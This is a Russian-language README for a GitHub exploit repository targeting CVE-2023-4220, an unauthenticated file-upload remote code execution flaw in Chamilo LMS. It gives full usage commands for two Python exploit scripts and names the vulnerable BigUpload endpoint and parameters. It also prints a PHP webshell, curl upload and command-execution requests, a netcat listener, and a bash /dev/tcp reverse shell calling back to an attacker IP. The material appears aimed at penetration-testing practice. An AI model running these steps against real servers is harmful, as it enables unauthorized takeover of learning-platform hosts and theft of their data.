
CVE-2023-4220 — Неаутентифицированная загрузка файла RCE в Chamilo LMS ≤ 1.11.24. Стиль OSCP и автоматический эксплойт.
Python-эксплойт для CVE-2023-4220 — неаутентифицированная уязвимость произвольной загрузки файлов, затрагивающая Chamilo LMS <= 1.11.24.
Уязвимость находится в компоненте BigUpload Chamilo. В уязвимых установках обработчик загрузки позволяет загружать PHP-файл без надлежащей проверки. Поскольку загруженные файлы сохраняются в веб-доступную директорию, загруженный PHP-файл можно напрямую запросить и использовать как веб-шелл, если включено выполнение PHP.
Этот репозиторий включает две версии эксплойта:
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py
Оба скрипта загружают PHP-вебшелл, проверяют выполнение команд и позволяют выполнять команды через параметр GET cmd. Единственное практическое отличие — как обрабатывается --shell.
Версия auto сама запускает прослушиватель, инициирует обратный шелл и автоматически переключается в интерактивный сеанс.
Версия oscp инициирует полезную нагрузку обратного шелла, но не запускает прослушиватель. Перед запуском необходимо вручную запустить свой прослушиватель.
Клонируйте репозиторий:
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220
Установите зависимости:
python3 -m pip install -r requirements.txt
Единственная внешняя зависимость — requests, поэтому её можно установить и вручную:
python3 -m pip install requests
Цель передаётся с помощью -u или --url:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
Те же опции доступны в обоих скриптах:
-u, --url Базовый URL цели
--check Проверить, доступна ли директория файлов BigUpload
--upload Загрузить веб-шелл и подтвердить выполнение команд
--cmd CMD Выполнить одну команду через загруженный веб-шелл
--shell LHOST LPORT Инициировать обратный шелл
--filename NAME Использовать собственное имя файла для загруженного PHP-файла
--proxy PROXY Направлять трафик через прокси, например Burp Suite
--timeout SECONDS Установить тайм-аут HTTP
--verify-tls Включить проверку сертификатов TLS
--cleanup Попытаться удалить загруженный веб-шелл после выполнения
Автоматическая версия также включает:
--listen-timeout SEC Время ожидания подключения обратного шелла
Проверьте, доступен ли ожидаемый путь BigUpload:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
Загрузите PHP-вебшелл и подтвердите выполнение команд:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload
Выполните одну команду:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id
Используйте собственное имя файла:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php
Направьте трафик через Burp Suite:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080
Вышеуказанные примеры используют скрипт auto, но тот же синтаксис можно использовать с chamilo_cve_2023_4220_oscp.py.
Опция --shell существует в обоих скриптах, но ведёт себя по-разному в зависимости от используемой версии.
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444
Эта версия запускает локальный прослушиватель на 10.10.14.3:4444, загружает веб-шелл, инициирует обратный шелл и автоматически открывает интерактивный сеанс.
При использовании этой версии не нужно запускать nc вручную.
Сначала вручную запустите свой прослушиватель:
sudo nc -nlvp 4444
Затем запустите эксплойт из другого терминала:
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444
Эта версия только отправляет полезную нагрузку обратного шелла через загруженный веб-шелл. Соединение принимается вручную запущенным прослушивателем.
Команда обратного шелла, инициируемая обоими скриптами, эквивалентна:
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'
Убедитесь, что значение LHOST достижимо из цели. В VPN-средах это обычно адрес вашего туннельного интерфейса:
ip -brief addr show tun0
CVE-2023-4220 затрагивает Chamilo LMS версий до 1.11.24 включительно.
Уязвимый обработчик загрузки находится по адресу:
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
Действие, используемое эксплойтом:
?action=post-unsupported
Загруженные файлы обычно доступны из:
/main/inc/lib/javascript/bigupload/files/
Эксплойт отправляет POST-запрос типа multipart/form-data, используя поле формы, ожидаемое BigUpload:
bigUploadFile
Загруженная PHP-полезная нагрузка — это небольшой обёртка команд:
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>
Команды передаются через параметр GET cmd:
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id
Маркеры вокруг вывода команды используются для извлечения соответствующей части HTTP-ответа.
Загрузка, выполняемая скриптами, эквивалентна:
curl -i -s -X POST \
-F '[email protected];filename=shell.php' \
'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
После успешной загрузки выполнение команды можно проверить с помощью:
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'
--check только проверяет, доступна ли ожидаемая директория файлов BigUpload. Положительный результат не гарантирует, что цель уязвима.
Полная проверка требует загрузки PHP-полезной нагрузки и подтверждения выполнения команды с помощью --upload или --cmd.
Если загрузка работает, а выполнение команды не происходит, возможно, выполнение PHP отключено в директории загрузки, цель исправлена или серверное правило блокирует запрос.
Используйте --cleanup, если хотите, чтобы скрипт попытался удалить загруженный PHP-файл после выполнения.